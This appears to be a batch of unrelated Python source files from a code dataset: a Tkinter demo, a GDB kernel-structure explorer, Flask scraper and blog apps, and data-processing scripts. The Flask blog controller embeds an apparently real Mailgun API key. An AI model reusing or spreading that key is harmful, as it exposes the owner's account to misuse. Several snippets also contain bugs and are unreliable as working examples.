https://isis.astrogeology.usgs.gov/IsisSupport/index.php?topic=3614.0\n#\n\n\n\n#\n#\n# how to use wordcount in python:\n# https://stackoverflow.com/questions/19674336/how-to-write-a-wordcount-program-using-python-without-using-map-reduce\n\n\n\n\n#\n#\n#\n# UBUNTU NVIDIA VERSION:\n# lspci|grep -i vga\n#\n\n# install opencv2 on ubuntu(imort cv2 in python):\n# pip install opencv-python\n# run the weixin TiaoYiTiao using ubuntu(please install adb, fastboot):\n# sudo apt -y install android-tools-adb android-tools-fastboot\n# PLEASE RESET TO DEFAULT IN THE KAIFAZHEMOSHI SET(using adb to connect android to computer)\n# deal with no permissions with adb devics:\n# sudo adb kill-server\n# sudo adb start-server\n# adb devices\n# python webchat_jump_auto.py:\n# https://github.com/Prinsphield/Wechat_AutoJump.git\n#\n#\n#\n#\n#\n#\n#\n\n\nimport Tkinter\ntop=Tkinter.Tk()\nimport commands\n\ndef call_back():\n print(\"hello\")\n # print (commands.getoutput('ls'))\n print (commands.getoutput('echo \"this is is good!!!\"'))\n\n\ntkk=Tkinter.Button(top,text='hello,world',command=call_back,height=11,width=13)\ntkk.pack()\nTkinter.mainloop()\n","sub_path":"un_ln/tkpython/tkplot/tk_command.py","file_name":"tk_command.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"179494875","text":"#!/usr/bin/env python\r\n# Run with:\r\n# > gdb --batch -q -x locate_struct.py\r\n\r\n# Author: Fabio Pagani \r\n# Author: Davide Balzarotti \r\n# Creation Date: 12-09-2016\r\n\r\nimport traceback\r\nimport socket\r\nimport cProfile\r\nimport logging\r\nimport time\r\nimport gdb\r\nimport sys\r\nimport os\r\n\r\nsys.path.append(\"./\")\r\nfrom mytypes import Sample, Struct, Field, Node\r\nfrom explorer import Explorer\r\nfrom loader import Loader\r\nfrom qemu_gdb import *\r\nfrom worklist import *\r\nfrom utils import *\r\n\r\nSNAME = str(SNAME)\r\nKDIR = str(KDIR)\r\nQEMU_PORT = 2222\r\nGDB_PORT = 1234\r\n\r\ndef fixup_field(s, f):\r\n # The size of kmem_cache is not the one reported in the DWARF\r\n # symbols: the array 'node' does not contain MAX_NUMNODES (as\r\n # specified in the definition) but rather nr_node_ids elements\r\n # (free_kmem_cache_nodes).\r\n if s.ty == \"struct kmem_cache\" and f.name == \"node\":\r\n nr_node_ids = int(gdb.parse_and_eval(\"nr_node_ids\"))\r\n current_size = len(f.array_elements)\r\n f.ty = f.ty.replace(str(current_size), str(nr_node_ids))\r\n f.array_elements = f.array_elements[:nr_node_ids]\r\n s.size -= current_size * 8\r\n s.size += nr_node_ids * 8\r\n logging.debug(\"Fixed '%s' in:\\n%s\" % (f.name, s))\r\n\r\n if s.ty == \"struct e820_table\" and f.name == \"entries\":\r\n nr_entries = s[\"nr_entries\"].value\r\n entries = f.array_elements\r\n f.array_elements = entries[:nr_entries]\r\n e820_entry_size = entries[1] - entries[0]\r\n s.size = e820_entry_size * nr_entries\r\n logging.debug(\"Fixed '%s' in:\\n%s\" % (f.name, s)) \r\n\r\n \r\ndef fixup_struct(s):\r\n if s.ty == \"struct task_struct\":\r\n s.size = int(gdb.parse_and_eval(\"arch_task_struct_size\"))\r\n\r\n if s.ty == \"struct thread_struct\" or s.ty == \"struct fpu\":\r\n s.size -= (int(gdb.parse_and_eval(\"init_task\").type.sizeof) -\r\n int(gdb.parse_and_eval(\"arch_task_struct_size\")))\r\n \r\ndef walk_field(worklist, explorer, s, f, struct, field, field_name):\r\n to_explore = []\r\n if is_ptr_of_ptr_field(s, f) and f.is_deref():\r\n field = cast_ptr_of_ptr(s, f, struct, field)\r\n f.value = gdb_value_to_int(field)\r\n f.set_ptr_array_of_ptr()\r\n\r\n if f.is_array_of_struct() or f.is_array_of_struct_ptr() or f.is_ptr_array_of_ptr():\r\n for i, (name, v) in enumerate(walk_array(field_name, field)):\r\n if is_struct_pointer(v.type):\r\n f.add_array_element(v)\r\n else:\r\n f.add_array_element(v.address)\r\n to_explore.append((v, i))\r\n\r\n worklist.append(name, v)\r\n\r\n if is_percpu_field(s, f):\r\n f.set_percpu()\r\n \r\n if f.value == 0:\r\n return []\r\n\r\n for offset, name, v in explorer.handle_percpu_field(field, field_name):\r\n f.add_array_element(v)\r\n worklist.append(name, v)\r\n to_explore.append((v, -1))\r\n # Here we keep only the last one..\r\n f.value = offset\r\n\r\n return to_explore\r\n\r\ndef walk_struct(w, worklist, sample, explorer):\r\n struct_name, struct, global_root = w\r\n\r\n s = Struct(struct.address,\r\n struct.type,\r\n struct_name,\r\n global_root)\r\n \r\n fixup_struct(s) \r\n \r\n valid = is_valid_struct(struct)\r\n logging.debug(\"Walking struct '%s' '%s' (size: %d)... @ 0x%016x (valid: %s) %s\" %\r\n (s.ty, s.name, s.size, s.addr, valid, \"GLOBAL\" if s.global_root else \"\"))\r\n\r\n \r\n if not valid:\r\n logging.debug('%s' % struct)\r\n return\r\n\r\n for field_name, field in deep_items_anon(struct): # Loop on the fields of the struct\r\n if is_type_size_zero(field.type):\r\n logging.warning(\"Zero size for field: %s %s\" % (field.type, field_name))\r\n continue\r\n\r\n f = s.addField(field_name, field)\r\n\r\n appended = worklist.append(field_name, field)\r\n\r\n to_explore = [(field, -1)]\r\n to_explore += walk_field(worklist, explorer, s, f, struct, field, field_name)\r\n\r\n try:\r\n fixup_field(s, f)\r\n except gdb.error:\r\n logging.warning(\"Exception while fixing '%s' in:\\n%s\" % (f.name, s))\r\n\r\n logging.debug(f)\r\n\r\n if not appended and len(to_explore) == 1:\r\n continue\r\n\r\n for (tf, array_index) in to_explore:\r\n works = explorer.handle(s.ty, f.name, tf, array_index)\r\n for name, v in works:\r\n worklist.append(name, v)\r\n\r\n sample.dump_struct(s)\r\n\r\n\r\ndef explore_global_percpu(explorer, worklist, addr, sym, name):\r\n # was_ptr is needed because we don't model array of pointers of\r\n # pointers (es: current_task). We miss a step of derefs, but\r\n # the __per_cpu_offset is stable so it should not affect the\r\n # analysis.\r\n was_ptr = False\r\n if is_struct(sym.type):\r\n sym = sym.cast(sym.type.pointer())\r\n else:\r\n was_ptr = True\r\n\r\n s = Struct(addr, sym.type, name, global_container=True)\r\n sym_array_ptr = sym.type.array(0, NR_CPUS-1).pointer()\r\n field_value = gdb.Value(addr).cast(sym_array_ptr).dereference()\r\n f = s.addField(name, field_value)\r\n s.size = 8*(NR_CPUS)\r\n\r\n for offset, name, v in explorer.handle_percpu_field(sym, name):\r\n worklist.append(name, v)\r\n if was_ptr:\r\n v = v.dereference()\r\n f.add_array_element(v, check=False)\r\n \r\n return s\r\n \r\ndef explore_global_percpus(sample, explorer, worklist, global_percpus):\r\n\r\n addr = 0xffffffff82000000\r\n sorted_percpus = sorted(global_percpus.items(), key=lambda x:x[0])\r\n\r\n for (filename, name), sym in sorted_percpus:\r\n logging.debug(\"Loading GLOBAL_PERCPU: %s %s\" % (filename, name))\r\n s = explore_global_percpu(explorer, worklist, addr, sym, name) \r\n sample.dump_struct(s)\r\n logging.debug(s)\r\n addr += 8*(NR_CPUS)\r\n\r\n\r\ndef do_analysis(worklist, sample, explorer):\r\n for i, work in enumerate(worklist.worklist):\r\n walk_struct(work, worklist, sample, explorer)\r\n\r\n if i % 50000 == 0:\r\n tot = len(worklist.worklist)\r\n sys.stdout.write(\"processed: %d total: %d left: %d\\n\" % (i, tot,\r\n tot - i))\r\n sys.stdout.flush()\r\n \r\ndef explore_sample():\r\n exp_result = \"../explorations/%s\" % (SNAME)\r\n print(\"[+] Exploration result in %s\" % exp_result)\r\n sample = Sample(exp_result)\r\n L = Loader(KDIR)\r\n\r\n worklist = L.WORKLIST\r\n global_structs_addr = set([gdb_value_to_int(v.address) for (_, v, _) in worklist.worklist])\r\n explorer = Explorer(L.NODE_INFO, L.POINTER_INFO, global_structs_addr)\r\n global_heads = L.GLOBAL_HEADS\r\n global_percpus = L.PERCPU_GLOBALS\r\n\r\n for s in L.GLOBAL_CONTAINERS:\r\n sample.dump_struct(s)\r\n\r\n explore_global_percpus(sample, explorer, worklist, global_percpus)\r\n\r\n for i in global_heads:\r\n struct_type, field_name = global_heads[i]\r\n for name, v in explorer.handle_global_head(i, struct_type, field_name):\r\n worklist.append(name, v)\r\n\r\n print(\"[+] Ready to start the exploration\")\r\n do_analysis(worklist, sample, explorer)\r\n logging.info(\"[+] We found %d structs\" % sample.counter)\r\n return\r\n\r\n\r\ndef create_dir(d):\r\n if not os.path.exists(d):\r\n os.makedirs(d)\r\n \r\ndef main():\r\n print(\"[+] Target kernel %s\" % KDIR)\r\n \r\n create_dir(\"../logs\")\r\n create_dir(\"../explorations/\")\r\n \r\n log_file = \"../logs/%s\" % (SNAME)\r\n print(\"[+] Logging in %s\" % log_file)\r\n logging.basicConfig(format='%(levelname)s : %(message)s',\r\n stream=open(log_file, \"w\"),\r\n level=logging.DEBUG)\r\n\r\n logging.debug(\"gdb_port = %d qemu_port = %d\" % (GDB_PORT, QEMU_PORT))\r\n\r\n gdb.execute('add-symbol-file %s/vmlinux 0' % KDIR, to_string=True)\r\n gdb.execute('set architecture i386:x86-64', to_string=True)\r\n gdb.execute('set max-value-size unlimited', to_string=True)\r\n gdb.execute('maint set symbol-cache-size 4096')\r\n connect_gdb_remote(GDB_PORT)\r\n\r\n connect_qemu_monitor('localhost', QEMU_PORT)\r\n send_qemu_monitor(b'stop')\r\n send_qemu_monitor('loadvm %s' % SNAME)\r\n\r\n load_executable_sections(KDIR)\r\n\r\n print('\\n------ Analyzing %s ------' % SNAME)\r\n start = time.time()\r\n explore_sample()\r\n print(\"Exploration took: %.2fs\" % (time.time() - start))\r\n\r\n gdb.execute('disconnect')\r\n\r\nif __name__ == \"__main__\":\r\n try:\r\n main()\r\n except Exception as err:\r\n print(traceback.print_exc())\r\n gdb.execute('disconnect')\r\n\r\n\r\n # cProfile.run('main()', filename=\"/tmp/prof%d\" % SID, sort=1)\r\n\r\n # sym = gdb.lookup_symbol(\"pid_hash\")[0]\r\n # print(is_valid_struct(a.value()))\r\n # sys.exit(-1)\r\n # t = gdb.lookup_type(\"struct mm_slot\")\r\n # print(find_offset(t, \"mm_node\", array_index=-1))\r\n # v = gdb.Value(0x2345234523424).cast(t)\r\n # sys.exit(-1)\r\n","sub_path":"src/locate_struct.py","file_name":"locate_struct.py","file_ext":"py","file_size_in_byte":9063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"640299263","text":"# -*- coding: utf-8 -*-\n\n\nimport os\n\n\ntry:\n from django.urls import path\n HAS_PATH = True\nexcept ImportError:\n HAS_PATH = False\n\n\ntry:\n from django.urls import re_path\n HAS_RE_PATH = True\nexcept ImportError:\n HAS_RE_PATH = False\n\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n\nSECRET_KEY = 'test'\n\n\nROOT_URLCONF = 'tests.urls'\n\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join('BASE_DIR' , 'test.sqlite3'),\n }\n}\n\n\nINSTALLED_APPS = [\n 'tests',\n]\n\n\n# eof\n","sub_path":"tests/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"288345391","text":"import requests\nfrom flask import json\nfrom bs4 import BeautifulSoup\nfrom urllib import parse\nfrom flask import Flask\nfrom flask_restful import Resource, Api, reqparse\n\napp = Flask(__name__)\napi = Api(app)\n\n\nclass SteamSearch(Resource):\n def put(self):\n \n parser = reqparse.RequestParser()\n parser.add_argument('query', required=True,\n help='A search term needs to be provided')\n args = parser.parse_args()\n\n formattedSearchTerm = parse.urlencode({'query': args.query})\n page=1\n while page<=3:\n r = requests.get(\n f\"'https://www.walmart.com/search/?page='+str(page)+'&ps=40&{formattedSearchTerm}'\")\n \n \n \n results = []\n # just get the code, no headers or anything\n plain_text = r.text.encode('ascii', 'replace')\n # BeautifulSoup objects can be sorted through easy\n soup = BeautifulSoup(plain_text,'html.parser')\n for link in soup.findAll('a', {'class': 'product-title-link line-clamp line-clamp-2'}):\n href =[]\n href.append(\"https://www.walmart.com\"+link.get('href'))\n print(href)\n \n \n for url in href:\n \n source_code = requests.get(url)\n plain_text = source_code.text\n soup = BeautifulSoup(plain_text,\"lxml\")\n for item_name in soup.findAll('h1', {'class': 'prod-ProductTitle font-normal'}):\n title=item_name.string\n for brand_name in soup.findAll('a',{'class':'prod-brandName'}):\n brand=brand_name.string\n for ratings in soup.findAll('span',{'itemprop':'ratingValue'}):\n rating=ratings.string\n for p1 in soup.findAll('span',{'class':'price-currency'}):\n p11=p1.string\n for p2 in soup.findAll('span',{'class':'price-characteristic'}):\n p22=p2.string\n for p3 in soup.findAll('span',{'class':'price-mark'}):\n p33=p3.string\n for p4 in soup.findAll('span',{'class':'price-mantissa'}):\n \n p44=p4.string\n price=p11+p22+p33+p44\n print(title,price,brand,rating) \n results.append({'title':title,\n 'brand':brand,\n 'rating':rating,\n 'price':price})\n return results\n page+=1\n \n \n \n \n \n \n\n\napi.add_resource(SteamSearch, '/query')\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"apii/Trial_flask _2nd.py","file_name":"Trial_flask _2nd.py","file_ext":"py","file_size_in_byte":3011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"587390858","text":"\nnamefile = input('Enter a file name: ')\nfileopen = open(namefile)\n\nemail = dict()\nfor line in fileopen:\n words = line.split()\n if not line.startswith('From: ') : continue\n else:\n for word in words:\n if '@' in word:\n email[word] = email.get(word,0) + 1\n\nbigword = None\nbigcount = None\nfor k,v in email.items():\n if bigcount is None or v > bigcount:\n bigword = k\n bigcount = v\n\nprint(bigword, bigcount)","sub_path":"OnlineClasses/Programming for Everybody/Class2/ex9_4.py","file_name":"ex9_4.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"135644659","text":"from typing import List, Tuple\n\nimport torch\n\nfrom RL import Episode\nfrom .general import to_list, to_list_float_fixed, DataTypesSize, to_int\n\n\ndef get_episode_flat(state_size, action_size):\n transition_size = 2 * state_size + action_size + 1\n\n def transformer(data, start, _):\n episode_length = to_int(data, start)\n start += DataTypesSize.Int\n num_floats = episode_length * transition_size\n value, bytes_read = to_list_float_fixed(data, num_floats, start)\n return value, bytes_read + DataTypesSize.Int\n\n return transformer\n\n\ndef episode_to_tensors(episode: List[float], state_size, action_size, device):\n transition_size = 2 * state_size + action_size + 1\n\n def data_slice(size, stride, i):\n return slice(transition_size * i + stride, transition_size * i + size + stride)\n\n length_range = range(int(len(episode) / transition_size))\n stride = 0\n\n states = [episode[data_slice(state_size, stride, i)] for i in length_range]\n stride += state_size\n\n actions = [episode[data_slice(action_size, stride, i)] for i in length_range]\n stride += action_size\n\n rewards = [episode[data_slice(1, stride, i)] for i in length_range]\n stride += 1\n\n next_states = [episode[data_slice(state_size, stride, i)] for i in length_range]\n\n states = torch.tensor(states, dtype=torch.float32, device=device)\n next_states = torch.tensor(next_states, dtype=torch.float32, device=device)\n actions = torch.tensor(actions, dtype=torch.float32, device=device).long()\n rewards = torch.tensor(rewards, dtype=torch.float32, device=device)\n\n return states, actions, rewards, next_states\n\n\ndef to_training_data(training_data_bytes: bytes, start_index: int, state_size: int, action_size: int, device='cuda') -> \\\n Tuple[List[Episode], int]:\n training_data, bytes_read = to_list(training_data_bytes, get_episode_flat(state_size, action_size), start_index)\n training_data = [episode_to_tensors(episode, state_size, action_size, device) for episode in training_data]\n return training_data, bytes_read\n","sub_path":"python/src/serialization/training_data_serialization.py","file_name":"training_data_serialization.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"97670822","text":"from engine import human_report_time\nimport json\nimport os\nimport sys\n\nheader_datetime = \"id,datetime,num_bikes_available,num_bikes_disabled,num_docks_available,num_docks_disabled,is_installed,is_renting,is_returning\"\nheader_epoch = \"id,epoch,num_bikes_available,num_bikes_disabled,num_docks_available,num_docks_disabled,is_installed,is_renting,is_returning\"\n\n\ndef print_file(file, is_epoch):\n id = int(file.split(\".\")[0])\n with open(file, \"r\") as fp:\n for line in fp:\n row = json.loads(line)\n time = row[\"epoch\"]\n data = row[\"data\"]\n if not is_epoch:\n time = human_report_time(time)\n data[\"id\"] = id\n data[\"time\"] = time\n print(\"{id},{time},{num_bikes_available},{num_bikes_disabled},{num_docks_available},{num_docks_disabled},{is_installed},{is_renting},{is_returning}\".format(**data))\n\n\ndef print_all_files(files, is_epoch):\n is_print_all = True\n if len(files) > 0:\n is_print_all = False\n\n if is_epoch:\n print(header_epoch)\n else:\n print(header_datetime)\n\n for file in os.listdir('.'):\n if os.path.isfile(file) and file.endswith(\".log\"):\n if is_print_all or file in files:\n print_file(file, is_epoch)\n\n\nif __name__ == \"__main__\":\n files = []\n is_epoch = False\n\n for i, argv in enumerate(sys.argv):\n if i > 0:\n if argv == \"-e\":\n is_epoch = True\n else:\n files.append(argv)\n\n print_all_files(files, is_epoch)\n","sub_path":"log_reader.py","file_name":"log_reader.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"59804380","text":"import FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process(\"Rootuple\")\n\nprocess.load(\"FWCore.MessageService.MessageLogger_cfi\")\nprocess.load(\"FWCore.MessageLogger.MessageLogger_cfi\")\nprocess.MessageLogger.cerr.FwkReport.reportEvery = 10000\n\noutputname = 'gen.root'\n\nprocess.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(-1) )\n\nprocess.source = cms.Source(\"PoolSource\",\n fileNames = cms.untracked.vstring(\n\"file:/uscms/home/asanchez/nobackup/csa14/MINIAOD/6A81C41C-0606-E411-A991-20CF3027A633.root\"\n )\n)\n\nprocess.TFileService = cms.Service(\"TFileService\",\n fileName = cms.string(outputname),\n closeFileFast = cms.untracked.bool(True)\n)\n\nprocess.rootuple = cms.EDAnalyzer('MiniAODRootupleChicGen')\n\nprocess.p = cms.Path(process.rootuple)\n","sub_path":"Ponia/RootupleChib/test/testMiniAODRootuple_cfg.py","file_name":"testMiniAODRootuple_cfg.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"11573529","text":"#-*- coding:utf-8 -*-\r\n\r\nfrom flask import request, render_template, session, redirect, url_for, flash\r\nfrom flask.ext.sqlalchemy import SQLAlchemy\r\nfrom datetime import timedelta\r\nimport requests\r\nfrom itsdangerous import URLSafeSerializer\r\n\r\nfrom __init__ import app\r\n\r\ndb= SQLAlchemy(app)\r\n\t\r\nfrom models import *\r\n\r\n\r\n@app.route('/')\r\ndef index():\r\n\tpost_query=Post2.query.order_by('id desc').all()\r\n\treturn render_template('index.html',post_query=post_query)\r\n\r\n@app.route('/write')\r\ndef write():\r\n\tif 'logged_in' in session:\r\n\t\tif session['logged_in']==True:\r\n\t\t\treturn render_template('write.html')\r\n\t\telse:\r\n\t\t\treturn redirect(url_for('login'))\r\n\telse:\r\n\t\treturn redirect(url_for('index'))\r\n\r\n@app.route('/write/check',methods=['POST'])\r\ndef write_check():\r\n\tpost_title=request.form['title']\r\n\tpost_body=request.form['text']\r\n\tuser_query=User2.query.filter(User2.username==session['username']).first()\r\n\tp=Post2(user_query.id,post_title,post_body)\r\n\tdb.session.add(p)\r\n\tdb.session.commit()\r\n\treturn redirect(url_for('index'))\r\n\r\n\r\n@app.route('/logout')\r\ndef logout():\r\n\tsession['logged_in']=False\r\n\tsession.pop('username',None)\r\n\treturn redirect(url_for('index'))\r\n\r\n@app.route('/login')\r\ndef login():\r\n\tif 'logged_in' in session:\r\n\t\tif session['logged_in']:\r\n\t\t\treturn redirect(url_for('index'))\r\n\t\telse:\r\n\t\t\treturn render_template('login.html')\r\n\telse:\r\n\t\treturn render_template('login.html')\r\n\r\n@app.route('/login/check',methods=['POST'])\r\ndef login_check():\r\n\tusername=request.form['username']\r\n\tpassword=request.form['password']\r\n\tuser_query=User2.query.filter(User2.username==username).first()\r\n\tif user_query:\r\n\t\tif user_query.check_password_hash(password):\r\n\t\t\tif user_query.is_active==True:\r\n\t\t\t\tsession['logged_in']=True\r\n\t\t\t\tsession['username']=username\r\n\t\t\t\tif user_query.is_admin:\r\n\t\t\t\t\tsession['is_admin']=True\r\n\t\t\t\telse:\r\n\t\t\t\t\tsession['is_admin']=False\r\n\t\t\telse:\r\n\t\t\t\treturn u'메일 인증 먼저 하세요'\r\n\t\t\treturn redirect(url_for('index'))\r\n\t\telse:\r\n\t\t\treturn 'password wrong'\r\n\telse:\r\n\t\treturn 'id wrong'\r\n\r\n@app.route('/signup')\r\ndef signup():\r\n\treturn render_template('signup.html')\r\n\r\n@app.route('/signup/check',methods=['POST'])\r\ndef signup_check():\r\n\tusername=request.form['username']\r\n\tpassword=request.form['password']\r\n\temail=request.form['email']\r\n\tuser2=User2(username,password,email)\r\n\tdb.session.add(user2)\r\n\tdb.session.commit()\r\n\tsend_simple_message(username=username,email=email)\r\n\treturn redirect(url_for('index'))\r\n\r\n\r\n@app.route('/doublecheck')\r\ndef doublecheck():\r\n\tusername=request.args.get('username')\r\n\tname=User2.query.filter(User2.username==username).first()\r\n\tif name:\r\n\t\treturn '0'\r\n\telse:\r\n\t\treturn '1'\r\n\r\n@app.route('/admin')\r\ndef admin_page():\r\n\tif 'is_admin' in session and session['is_admin']:\r\n\t\treturn 'Admin'\r\n\telse:\r\n\t\treturn 'User'\r\n\r\n\r\n\r\n@app.route('/activate/')\r\ndef activate(hash_value):\r\n\ts=URLSafeSerializer(app.config.get('SECRET_KEY'))\r\n\ta=s.loads(hash_value)\r\n\tuser_query=User2.query.filter(User2.email==a).first()\r\n\tuser_query.is_active=True\r\n\tdb.session.add(user_query)\r\n\tdb.session.commit()\r\n\treturn u'인증이 완료되었습니다'\r\n\r\n@app.before_request\r\ndef make_session_timeout():\r\n\tsession.permanent=True\r\n\tapp.permanent_session_lifetime=timedelta(minutes=5)\r\n\r\ndef send_simple_message(username,email):\r\n\ts=URLSafeSerializer(app.config.get('SECRET_KEY'))\r\n\thash_value=s.dumps(email)\r\n\treturn requests.post(\r\n\t\t\"https://api.mailgun.net/v2/sandbox79e52ac751eb4923ba69abb7fa180171.mailgun.org/messages\",\r\n\t\tauth=(\"api\", \"key-c6b7a97cf8c37a902f6ebd8e85edfa65\"),\r\n\t\tdata={\"from\": \"no-reply \",\r\n\t\t\tu\"to\": username+u\"<\"+email+u\">\",\r\n\t\t\t\"subject\": \"Hello\",\r\n\t\t\t\"text\": \"http://54.64.200.183:5000/activate/\"+hash_value})\r\n\r\n\r\n","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":3736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"196589668","text":"#!/usr/bin/env python\nimport sys, os, re, json, csv, ckanapi\nfrom pipe.gadgets import get_package_parameter\n#import util\n#from . import util\n#import loaders, schema, pipeline\n\nfrom datetime import datetime\n\nsys.path.insert(0, '/Users/drw/WPRDC/etl-dev/wprdc-etl') # A path that we need to import code from\nsys.path.insert(0, '/home/sds25/wprdc-etl') # A path that we need to import code from\nimport pipeline as pl\n\n#sys.path.insert(0, '/Users/drw/WPRDC/etl-dev/wprdc-etl/pipeline') \nfrom marshmallow import fields, post_load, pre_load\nfrom collections import OrderedDict, defaultdict\nfrom pprint import pprint\n\n\nDEFAULT_CKAN_INSTANCE = 'https://data.wprdc.org'\n\ndef convert_none_to(x,new_value):\n if x is None:\n return new_value\n return x\n\nclass BaseTransactionsSchema(pl.BaseSchema):\n zone = fields.String()\n start = fields.DateTime()\n end = fields.DateTime()\n utc_start = fields.DateTime()\n\n class Meta:\n ordered = True\n\nclass TransactionsSchema(BaseTransactionsSchema):\n transactions = fields.Integer()\n payments = fields.Float()\n\n @pre_load\n def cast_fields(self,data):\n data['payments'] = float(data['payments'])\n # This may not be necessary, but ensuring that datetimes are in\n # ISO format is the best way of preparing timestamps to be\n # sent to CKAN.\n data['start'] = datetime.strptime(data['start'],\"%Y-%m-%d %H:%M:%S\").isoformat()\n data['end'] = datetime.strptime(data['end'],\"%Y-%m-%d %H:%M:%S\").isoformat()\n data['utc_start'] = datetime.strptime(data['utc_start'],\"%Y-%m-%d %H:%M:%S\").isoformat()\n\nclass SplitTransactionsSchema(BaseTransactionsSchema):\n \"\"\"The split transactions schema handles the case where transactions are to be split between\n mobile transactions and meter transactions.\"\"\"\n meter_transactions = fields.Integer()\n meter_payments = fields.Float()\n mobile_transactions = fields.Integer()\n mobile_payments = fields.Float()\n\n @pre_load\n def cast_fields(self,data):\n # If there are zero meter payments in a time slot when there are some\n # mobile payments, convert the None values for meter-payment parameters\n # to appropriately typed zeros.\n data['meter_payments'] = float(convert_none_to(data['meter_payments'],0.0))\n data['mobile_payments'] = float(convert_none_to(data['mobile_payments'],0.0))\n data['meter_transactions'] = convert_none_to(data['meter_transactions'],0)\n data['mobile_transactions'] = convert_none_to(data['mobile_transactions'],0)\n # This may not be necessary, but ensuring that datetimes are in\n # ISO format is the best way of preparing timestamps to be\n # sent to CKAN.\n data['start'] = datetime.strptime(data['start'],\"%Y-%m-%d %H:%M:%S\").isoformat()\n data['end'] = datetime.strptime(data['end'],\"%Y-%m-%d %H:%M:%S\").isoformat()\n data['utc_start'] = datetime.strptime(data['utc_start'],\"%Y-%m-%d %H:%M:%S\").isoformat()\n\nclass SamplingTransactionsSchema(TransactionsSchema):\n parent_zone = fields.String()\n\nclass SplitSamplingTransactionsSchema(SplitTransactionsSchema):\n parent_zone = fields.String()\n\nclass OccupancySchema(pl.BaseSchema):\n zone = fields.String()\n start = fields.DateTime()\n end = fields.DateTime()\n utc_start = fields.DateTime()\n transactions = fields.Integer()\n car_minutes = fields.Integer()\n payments = fields.Float()\n durations = fields.Dict() # [ ] Verify that the deployed version of wprdc-etl can handle such Dict/JSON fields.\n inferred_occupancy = fields.Integer()\n\n class Meta:\n ordered = True\n\n @pre_load\n def cast_fields(self,data):\n if data['durations'] is None:\n data['durations'] = '{}'\n data['durations'] = json.loads(data['durations'])\n\n if data['payments'] is None:\n data['payments'] = 0.0\n data['payments'] = float(data['payments'])\n\n if data['car_minutes'] is None:\n data['car_minutes'] = 0\n # This may not be necessary, but ensuring that datetimes are in\n # ISO format is the best way of preparing timestamps to be\n # sent to CKAN.\n data['start'] = datetime.strptime(data['start'],\"%Y-%m-%d %H:%M:%S\").isoformat()\n data['end'] = datetime.strptime(data['end'],\"%Y-%m-%d %H:%M:%S\").isoformat()\n data['utc_start'] = datetime.strptime(data['utc_start'],\"%Y-%m-%d %H:%M:%S\").isoformat()\n\n# @pre_load\n# def just_print_out_the_data(self,data):\n# pprint(data)\n# print(\"ParkingSchema.pre_load: type of data = {}\".format(type(data)))\n\n #@pre_load\n #def process_na_zone(self, data):\n # zone = data.get('zone')\n # if zone.lower() in ['n/a', 'osc']:\n # data['zone'] = None\n # return data\n\n #@post_load\n #def combine_date_and_time(self, in_data):\n # in_data['arrest_datetime'] = (datetime(\n # in_data['arrest_date'].year, in_data['arrest_date'].month,\n # in_data['arrest_date'].day, in_data['arrest_time'].hour,\n # in_data['arrest_time'].minute, in_data['arrest_time'].second\n # ))\n\ndef write_to_csv(filename,list_of_dicts,keys):\n with open(filename, 'w') as output_file:\n dict_writer = csv.DictWriter(output_file, keys, extrasaction='ignore', lineterminator='\\n')\n dict_writer.writeheader()\n dict_writer.writerows(list_of_dicts)\n\ndef get_package_parameter(site,package_id,parameter=None,API_key=None):\n \"\"\"Gets a CKAN package parameter. If no parameter is specified, all metadata\n for that package is returned.\"\"\"\n try:\n ckan = ckanapi.RemoteCKAN(site, apikey=API_key)\n metadata = ckan.action.package_show(id=package_id)\n if parameter is None:\n return metadata\n else:\n return metadata[parameter]\n except:\n raise RuntimeError(\"Unable to obtain package parameter '{}' for package with ID {}\".format(parameter,package_id))\n\ndef find_resource_id(site,package_id,resource_name,API_key=None):\n#def get_resource_id_by_resource_name():\n # Get the resource ID given the package ID and resource name.\n resources = get_package_parameter(site,package_id,'resources',API_key)\n for r in resources:\n if r['name'] == resource_name:\n return r['id']\n return None\n\ndef get_connection_parameters(server, settings_file_path):\n with open(settings_file_path) as f:\n settings = json.load(f)\n site = settings['loader'][server]['ckan_root_url']\n package_id = settings['loader'][server]['package_id']\n API_key = settings['loader'][server]['ckan_api_key']\n return settings, site, package_id, API_key \n\ndef send_data_to_pipeline(server,settings_file_path,resource_name,schema,list_of_dicts,primary_keys,chunk_size=5000):\n # Taken from github.com/WPRDC/stop-in-the-name-of-data.\n\n if resource_name is not None:\n specify_resource_by_name = True\n else:\n specify_resource_by_name = False\n if specify_resource_by_name:\n kwargs = {'resource_name': resource_name}\n #else:\n #kwargs = {'resource_id': ''}\n\n # Synthesize virtual file to send to the FileConnector\n from tempfile import NamedTemporaryFile\n ntf = NamedTemporaryFile()\n\n # Save the file path\n target = ntf.name\n fields_to_publish = schema().serialize_to_ckan_fields() # These are field names and types together\n print(\"fields_to_publish = {}\".format(fields_to_publish))\n field_names = [f['id'] for f in fields_to_publish]\n write_to_csv(target,list_of_dicts,field_names)\n\n # Testing temporary named file:\n #ntf.seek(0)\n #with open(target,'r') as g:\n # print(g.read())\n\n ntf.seek(0)\n # Code below stolen from prime_ckan/*/open_a_channel() but really from 